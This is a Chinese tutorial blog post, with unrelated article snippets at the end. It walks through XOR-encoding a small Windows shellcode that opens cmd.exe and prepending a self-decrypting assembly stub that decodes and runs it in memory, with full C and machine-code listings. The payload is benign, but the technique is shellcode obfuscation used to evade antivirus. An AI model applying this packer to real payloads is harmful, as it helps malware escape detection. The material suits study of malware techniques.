利用xor给shellcode加壳

首先看我们的shellcode,执行弹出cmd
没有shellcode:

#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"int main(int argc, char* argv[])
{printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";__asm{mov eax,strpush 5				;5=SW_SHOWpush eaxmov eax,0x755bdab0	//call dword ptr [WinExec]call eax}return 0;}

将汇编改成shellcode,注意mov eax,0x755bdab0,后面0x755bdab0是WinExec函数的地址,每个机子可能不一样,请查看下自己机子这个函数的地址(将mov eax,0x755bdab0改成call dword ptr [WinExec],当执行call dword ptr [WinExec]时,查看eip的值就是WinExec的地址),不要用call dword ptr [WinExec],虽然也能弹出cmd,但是对后面有很大影响,我试了,解码后弹不出cmd(我也不知道为啥,我一开始就是用这个的,浪费我好长时间)。

#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"
char key=0x51;
char shellcode[]="\x8B\x45\xF4\x6A\x05\x50\xB8\xB0\xDA\x5B\x75\xFF\xD0";int main(int argc, char* argv[])
{printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";__asm{lea eax,shellcodecall eax}return 0;
}

在这里插入图片描述
利用xor给shellcode加密,加密的程序为:

#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"
char key=0x51;
char shellcode[]="\x8B\x45\xF4\x6A\x05\x50\xB8\xB0\xDA\x5B\x75\xFF\xD0";unsigned char decodeShellCode[200];int main(int argc, char* argv[])
{printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";int length=sizeof(shellcode)/sizeof(shellcode[0]);for (int i=0;i<length-1;i++){	printf("\\x%0.2x",shellcode[i]); decodeShellCode[i]=shellcode[i]^key;printf("\t");printf("\\x%0.2x",decodeShellCode[i]);printf("\n");}return 0;
}

在这里插入图片描述
将shellcode加密,然后输出来,后面的是加密后的shellcode,将后面的粘贴复制到一个数组里

char encodeSC[]="\xda\x14\xa5\x3b\x54\x01\xe9\xe1\x8b\x0a\x24\xae\x81";

将加密的shellcode加载到内存里,然后动态在内存里改回来

先解密要执行的代码,然后再跳到解密后哪里执行加载整个shellcode到内存,前面专门解密后面的部分,再执行,就是加载整个外壳代码到内存,前面专门解密后面的部分,再执行

解密的程序为:

	__asm{add eax,24mov ecx,13xor edx,edx
decode:mov bl,byte ptr ds:[eax+edx]xor bl,51hmov byte ptr ds:[eax+edx],blinc edxloop decode}

将这段程序反汇编,找出机器码
在这里插入图片描述程序中24是这段机器码的长度,13是我们的shellcode长度
将机器码放到我们加密的shellcode前面

char decodeSC[]="\x83\xC0\x18\xB9\x0d\x00\x00\x00\x33\xD2\x3E\x8A\x1C\x10\x80\xF3\x51\x3E\x88\x1C\x10\x42\xE2\xF2"
"\xda\x14\xa5\x3b\x54\x01\xe9\xe1\x8b\x0a\x24\xae\x81";

最终程序

#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"
char key=0x51;char decodeSC[]="\x83\xC0\x18\xB9\x0d\x00\x00\x00\x33\xD2\x3E\x8A\x1C\x10\x80\xF3\x51\x3E\x88\x1C\x10\x42\xE2\xF2"
"\xda\x14\xa5\x3b\x54\x01\xe9\xe1\x8b\x0a\x24\xae\x81";int main(int argc, char* argv[])
{printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";__asm{lea eax,decodeSCpush eaxret	 }return 0;
}

在这里插入图片描述
思路:

  1. 找出我们要执行的shellcode
  2. 利用xor给shellcode加密成encodeShellcode
  3. 再写个汇编,用于解密encodeShellcode,再写汇编时,要注意这个汇编产生的机器码长度(mov eax,24,24就是这个汇编机器码的长度)
  4. 找出汇编的机器码,放在加密的shelcode前面
  5. 将数组地址赋给eax,push eax,ret

建议反汇编的时候,一步步执行,我们就能看到动态修改加密后的shellcode了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/380413.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

华为mate50鸿蒙,华为Mate50Pro首次曝光,5000mAh+鸿蒙OS+120Hz,太强

自从去年九月份以来&#xff0c;关于华为旗舰的消息越来越少了&#xff0c;主要的原因想必大家也是知道的。现在华为究竟还能不能继续正常发布新旗舰&#xff0c;答案也很微妙&#xff0c;不过我们可以肯定的是&#xff0c;华为绝不会放弃手机业务&#xff0c;这是余承东多次亲…

数数小木块

描述 在墙角堆放着一堆完全相同的正方体小木块&#xff0c;如下图所示&#xff1a; 因为木块堆得实在是太有规律了&#xff0c;你只要知道它的层数就可以计算所有木块的数量了。 现在请你写个程序 给你任一堆木块的层数&#xff0c;求出这堆木块的数量. 输入 第一行是一个整…

信息安全主动攻击和被动攻击_信息安全中的主动和被动攻击 网络安全

信息安全主动攻击和被动攻击安全攻击 (Security Attacks) The attack in cryptography means that our data or sent messages or any kind of information is accessed by some anonymous user without our permission. An attack simply means to alter, destroy, implant or…

线性表---双链表

双链表是单链表的拓展&#xff0c;单链表结点中只有一个指向其后继的指针&#xff0c;双链表有两个结点&#xff0c;一个指向其后继的指针&#xff0c;另一个指向前驱。 为什么要引入双链表呢&#xff1f; 这就要说单链表只有一个指针了&#xff0c;使得单链表只能从结点依次顺…

ppt形状html,PPT如何才能高大上?“形状”在PPT有这些妙用

【PConline 技巧】在PPT中&#xff0c;形状的用法非常丰富。可以说一份优秀的PPT&#xff0c;随处都能见到形状的影子。今天我们就和大家分享几组形状的特殊用法。其实很多时候&#xff0c;你会发现形状有时并不仅仅是形状&#xff01;1.突出标题标题在PPT中的作用不言而喻&…

二分图匹配----匈牙利算法之二

poj 1469 COURSES//题意:现在有p门课程和n个学生,现在需要有由p个学生组成的组织,该组织满足每个学生代表一门课程以及每门课程只能由一个学生代表,//现给出每门课程都有哪些学生可以参加,要求判断是否存在满足题意所需要的组织.//求解二分图的最大匹配数,如果与p相等就输出&qu…

FileSystemObject简介及应用

提示:刚一开始看到有这样的功能&#xff0c;我也受骗了&#xff0c;以为真的可以通过浏览器在访问者的硬盘上创建文件&#xff0c;因为我开始试了一下真的可以&#xff0c;不信你把下面这段代码COPY到一个HTML文件当中再运行一下&#xff01; <script language"JavaScr…

线性表----循环链表和静态链表

1、循环链表 1.1 循环单链表 循环单链表和单链表的区别在于&#xff0c;表中最后一个结点指针不在是null&#xff0c;而是头指针&#xff0c;从而使整个链表形成一个环 此时判断单链表是否为空&#xff0c;条件就是头结点的指针是否等于头指针此时单链表相当于一个环&#…

利用kali的msf提取汇编机器码(shellcode)

对于提取小段汇编的机器码&#xff0c;kali的msf提取汇编机器码非常方便 比如提取下面小段的汇编机器码 push 5 ;5SW_SHOWpush eaxmov eax,0x755bdab0call eax首先输入 msf-nasm_shell //注意msf和-之间没有空格然后依次输入命令 将上面内容复制到一个文本编辑器里&#x…

线性表------栈

1、基本概念 栈&#xff1a;只允许在一端插入或删除操作的线性表栈底&#xff08;buttom&#xff09;&#xff1a;固定的&#xff0c;不允许进行插入和删除操作的另一端栈顶&#xff08;top&#xff09;&#xff1a;线性表允许插入和删除的一段 栈是线性表&#xff0c;只不过受…

无线网络覆盖

描述 我们的乐乐同学对于网络可算得上是情有独钟&#xff0c;他有一个计划&#xff0c;那就是用无线网覆盖郑州大学。 现在学校给了他一个机会&#xff0c;因此他要购买很多的无线路由。现在他正在部署某条大道的网络&#xff0c;而学校只允许把他的无线路由器放在路的正中间…

旧计算机 云桌面,该不该利用旧PC机改造成云桌面虚拟化模式呢?

原标题&#xff1a;该不该利用旧PC机改造成云桌面虚拟化模式呢&#xff1f;由于传统PC电脑办公模式有数据安全隐患、维护成本高、占用空间及耗电量高&#xff0c;噪音大&#xff0c;使用寿命低等弊端正在逐步退出办公领域&#xff0c;越来越多的企业选择桌面虚拟化办公模式。那…

nodemailer 附件_如何使用Nodemailer发送带有附件的电子邮件。 Node.js

nodemailer 附件In the previous article, "How to send emails using Nodemailer?", we discussed how to send simple emails using Nodemailer in Node.js? Here, we are going to learn further – How to send emails with attachments using Nodemailer in N…

线性表-----队列

1、基本概念 队列是只允许在一端进行插入&#xff0c;而在另一段进行删除的线性表队头&#xff1a;允许删除的一端队尾&#xff1a;允许插入的一端空队列&#xff1a;没有任何元素的空表 队列是操作受限的线性表&#xff0c;因此不是任何对线性表的操作都可以作为队列的操作…

如何在React JS组件和React JS App中添加CSS样式?

In this tutorial, we will only work with CSS styles. Please ensure you have basic knowledge of HTML, CSS, React JS and Node.Js. 在本教程中&#xff0c;我们将仅使用CSS样式 。 请确保您具有HTML&#xff0c;CSS&#xff0c;React JS和Node.Js的基础知识。 In our re…

用计算机怎么打出狂浪字谱,狂浪歌曲简谱

狂浪歌曲简谱&#xff1a;66671112&#xff5c;2223176&#xff5c;一波一波接踵而来&#xff0c;大风带着我摇摆&#xff0c;22222112&#xff5c;322143&#xff0d;&#xff5c;66671112&#xff5c;梦在燃烧心在澎拜&#xff0c;不用徘徊。大摇大摆漂在人海&#xff0c;222…

C和汇编---while反汇编

环境&#xff1a;VC C程序&#xff1a; #include "stdio.h"int main() {int i1,sum0;while(i<100){sumi;i;}printf("%d\n",sum);return 0; }用while计算1到100的值&#xff0c;功能很简单&#xff0c;让我们看看反汇编 首先在main函数的入口&#xff0…

IPv6技术未来发展趋势

前言 人们对于采用综合技术&#xff0c;将数据、话音和视频等业务“一网打尽”梦想的追求从来都没有停止过。从上世纪80年代的综合业务数字网(ISDN)技术&#xff0c;到90年代的基于异步传输模式(ATM)的宽带ISDN&#xff0c;直到现在的IPMPLS(多协议标记交换)技术等。在这一过程…

栈的应用

1、括号匹配 如果是扫描到左括号&#xff0c;则入栈如果是扫描到右括号&#xff0c;则检查现在的栈顶元素&#xff0c;如果括号匹配&#xff0c;则栈顶元素出栈结束时&#xff0c;如果栈内没有元素&#xff0c;则括号匹配 bool Check(char *str){stack s;InitStack(s);int le…

Silverlight 布局控件

1.1. Canvas 在Canvas 布局中&#xff0c;控件使用Canvas.Top和Canvas.Left来定位内容: View Code 1 <Canvas x:Name"LayoutRoot" Background"White">2 <Button Name"SampleButton"3 Content"Sample Bu…